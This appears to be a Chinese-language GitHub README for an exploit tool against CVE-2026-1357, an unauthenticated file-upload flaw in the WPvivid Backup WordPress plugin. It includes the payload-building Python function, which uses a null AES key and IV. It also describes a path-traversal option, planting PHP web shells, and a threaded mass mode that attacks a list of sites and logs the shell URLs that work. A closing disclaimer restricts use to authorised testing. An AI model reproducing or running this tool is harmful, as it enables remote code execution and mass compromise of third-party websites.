Nxploited/CVE-2026-1357

GitHub: Nxploited/CVE-2026-1357

针对WPvivid备份插件空密钥漏洞的概念验证工具,可未认证上传任意文件获取服务器远程代码执行权限。

Stars: 0 | Forks: 0

# 🧨 CVE-2026-1357 – WPvivid 空密钥漏洞利用工具 (`CVE-2026-1357.py`) **Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123** **漏洞类型:** 未认证任意文件上传 → 远程代码执行 **CVE:** `CVE-2026-1357` – **CVSS 9.8 (严重)** **作者:** **Nxploited (Khaled Alenazi)** **GitHub:** `https://github.com/Nxploited` **Telegram:** [`@KNxploited`](https://t.me/KNxploited) ## 🧬 脚本功能

Nxploited

`CVE-2026-1357.py` 是针对 WPvivid 漏洞的 **概念验证漏洞利用工具**。它专注于有缺陷的 AES 会话处理,允许攻击者: 1. 使用 **空 AES 密钥/IV**(全零字节)以 WPvivid 期望的格式加密 payload。 2. 将任意文件内容(例如 PHP shell)和选定的文件名/路径(`name`)嵌入到 payload 中。 3. 通过 `wpvivid_action=send_to_site` 参数将此 payload 发送到 WPvivid 端点。 4. (可选)验证文件是否成功写入并可访问。 该脚本 **不** 尝试直接猜测或滥用私钥。相反,它模拟了 WPvivid 的错误流程,即失败的 `openssl_private_decrypt()` 导致 phpseclib 的 AES 密码使用空密钥进行初始化。 ## 🧠 技术原理 ### 🔐 AES 空密钥 Payload 漏洞利用的核心在于 `gen_wpvivid_payload()`: - 它构建一个 JSON 结构: { "name": "", "offset": 0, "data": "", "file_size": , "md5": "" } - 它序列化此 JSON(紧凑形式,无空格)。 - 它使用以下方式加密 JSON: - `AES-128-CBC` - `key = b"\x00" * 16` - `iv = b"\x00" * 16` - 然后它添加前缀: - 3 字节:`"000"`(静态长度字段占位符)。 - 16 字节大写十六进制:密文长度编码为 `"{len(cipher):016X}"`。 - 最终的加密 blob 为: "000" + <16字节密文长度十六进制> + <原始 AES-CBC 密文> - 此 blob 进行 base64 编码并作为最终的 `wpvivid_content` 值返回。 函数: ``` def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str: file_md5 = hashlib.md5(file_bytes).hexdigest() json_obj = { "name": file_name, "offset": 0, "data": base64.b64encode(file_bytes).decode(), "file_size": len(file_bytes), "md5": file_md5, } json_str = json.dumps(json_obj, separators=(",", ":")).encode() cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV) encrypted = cipher.encrypt(pad(json_str, AES.block_size)) key_len_field = b"000" cipherlen_field = f"{len(encrypted):016X}".encode() blob = key_len_field + cipherlen_field + encrypted return base64.b64encode(blob).decode() ``` 这与 RSA 解密失败后易受攻击代码路径中的 WPvivid 解密期望相匹配。 ## 🧰 功能与模式 该脚本具有 **两种主要模式** 以及批量测试功能: 1. `mood1` – **Payload 生成器** - 使用空密钥技巧生成有效的 `wpvivid_content` 值。 - 支持多种定义文件内容的方式。 - 可选针对目标列表启动 **批量测试器**。 2. `mood2` – **单目标测试器** - 使用先前生成的 payload。 - **端到端** 测试 **单个** 目标: - 发送 payload。 - 构建预期的结果文件 URL。 - 验证文件是否可访问。 3. **批量模式**(来自 `mood1`) - 将选定的 payload 发送到列表文件中的 **多个目标**。 - 使用并发和进度条。 - 跟踪并记录成功的上传。 ## 🚦 运行脚本 ``` python3 CVE-2026-1357.py ``` 您将看到一个带有横幅和模式选择的 **Rich-based UI**: - `mood1` – Payload 生成器 - `mood2` – 单目标测试器 ## 🧪 模式:mood1 – Payload 生成器 ### 目的 - 创建一个 exploit payload(`wpvivid_content`),编码: - 您希望 WPvivid 写入的 **文件路径/名称**。 - **文件内容**(shell、测试文件等)。 ### 流程 1. **模式选择** 当提示时: Choose mode (mood1/mood2) [mood1]: 按 `Enter`(默认为 `mood1`)或输入 `mood1`。 2. **目标文件名 / 路径** 系统会询问: Target file name (e.g., Nx_.php or ../../public/Nx_.php): 示例: - 要将文件放入 WPvivid 备份目录: Nx_.php - 要利用目录遍历(如果目标允许): ../../public_html/Nx_.php 该值进入 JSON payload 的 `name` 字段。 3. **内容输入模式** 脚本显示三种定义文件内容的方式: - **模式 1**:单行内容。 - **模式 2**:多行内容(以 `EOF` 结束)。 - **模式 3**:从本地文件读取(例如 `shell.php`)。 提示: Mode [1/2/3] [1]: - **模式 1 – 单行** Single line content: 输入示例: EOF - **模式 3 – 本地文件** Local file path (e.g., shell.php): 脚本将整个文件读入 `file_bytes`。 4. **Payload 生成** 一旦捕获内容,脚本: - 构建 JSON 对象。 - 使用空密钥 AES-CBC 加密。 - 包装二进制 blob。 - 进行 Base64 编码。 您将看到类似以下的输出: Payload generated. Use the value after '=' as wpvivid_content. wpvivid_content=BASE64_BLOB_HERE 并且写入文件 `wpvivid_payload.txt`: file_name=Nx_.php wpvivid_content=BASE64_BLOB_HERE ### 可选:从 mood1 进入批量模式 生成 payload 后,脚本会询问: ``` Auto-send this payload to targets list (mass mode)? (y/N): ``` 如果您回答 `y`,它将使用您刚刚创建的 payload 和文件名启动 **批量模式**。 ## 🌐 批量模式 – 多目标测试 ### 目的 - 获取 **单个 exploit payload** 并针对 **目标列表** 进行测试。 ### 流程 1. **目标文件** 示例提示: Targets list file (one URL per line): 文件的预期格式(例如 `targets.txt`): https://site1.com site2.com http://site3.net 脚本将自动标准化基础 URL(在缺失处添加协议)。 2. **线程数** Threads (concurrent sites) [5]: 控制并行处理多少个站点。 3. **单目标逻辑** 对于每个目标: - 标准化 URL → `base_url`。 - 调用: send_wpvivid_payload(base_url, payload) 它: - 构建 `wpvivid_action=send_to_site` + `wpvivid_content=` POST。 - 通过具有调整连接池设置的新会话发送。 - 检查响应是否包含 `{"result":"success"}`(紧凑形式检查)。 - 如果认为上传成功: - 构建 `shell_url` 为: f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}" - 将其保存到 `Nx_.txt`。 - 尝试 `verify_written_file()`: - 使用 GET 请求 `shell_url`。 - 如果 `status_code == 200`,标记为已验证。 - 如果发生任何错误: - 脚本通过 `short_reason()` 分类原因: - TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR。 4. **UI** - Rich 进度条显示全局进度和已用时间。 - 每个站点打印: - 成功时:`[OK] `。 - 错误时:`[FAIL] (reason: ...)`。 - 上传可能成功但验证失败时:`[!] Not verified (...)`。 ## 🧪 模式:mood2 – 单目标测试器 ### 目的 - 针对单个 **单个 URL** 使用现有的 payload(来自 `wpvivid_payload.txt` 或外部来源)并验证结果文件。 ### 流程 1. **目标 URL** 提示: Target base URL (e.g., https://site.com): 示例: https://victim.com 脚本将其标准化为基础 URL,如: https://victim.com 2. **文件名** 提示: Expected file name (e.g., Nx_.php): 这是您 **期望** WPvivid 写入的名称/路径(与您在 payload 的 `name` 字段中编码的内容相匹配)。 3. **Payload 输入** 提示: Paste wpvivid_content payload (base64 or 'wpvivid_content=...'): - 如果您粘贴以 `wpvivid_content=...` 开头的完整行,它会去除前缀。 - 如果您只粘贴 base64,它会按原样使用。 4. **执行** 脚本: - 发送带有 `wpvivid_action=send_to_site` + 您的 `wpvivid_content` 的 POST。 - 如果响应表明成功,它将构建: /wp-content/wpvividbackups/ 并打印带有该 URL 的 `[OK]`。 - 将成功的 URL 附加到 `Nx_.txt`。 - 尝试通过 `verify_written_file()` 进行验证并打印结果。 此模式非常适合对单个站点进行 **手动 / 实验室测试**,并精细控制 payload。 ## 📁 输出文件 - **`wpvivid_payload.txt`** - 在 `mood1` 中写入。 - 存储: - `file_name=` - `wpvivid_content=` - **`Nx_.txt`** - 由 `mood1`(批量模式)和 `mood2` 写入。 - 每行包含一个 **成功的文件 URL**,其中上传似乎已成功(并可选地进行了验证)。 ## ⚠️ 免责声明 此工具 **仅** 旨在用于: - 受控环境中的安全研究。 - 测试 **您拥有** 或 **有明确书面许可** 测试的系统。 - 验证 CVE-2026-1357 的修复和检测措施。 使用此脚本即表示您同意: - 您有责任遵守所有适用法律。 - 您 **不会** 在未经适当授权的系统上使用它。 - 作者不承担因使用此工具而产生的任何误用、损害、法律问题或事件的责任。 **风险自负** 并 **仅用于合法的安全测试**。 ## ✍️ 作者与联系 - **By:** `Nxploited` (Khaled Alenazi) - **GitHub:** `https://github.com/Nxploited` - **Telegram:** [`@KNxploited`](https://t.me/KNxploited) 有关更新、工具和安全研究内容,请关注 Telegram 频道: 👉 **[`@KNxploited`](https://t.me/KNxploited)**
标签:0day, AES空密钥, CISA项目, CVE-2026-1357, CVSS 9.8, Exploit, Migration Backup Staging, PHP Webshell, PoC, RCE, WordPress插件, WPvivid, 任意文件上传, 威胁模拟, 提示词注入, 无服务器架构, 暴力破解, 未授权访问, 编程工具, 网络信息收集, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞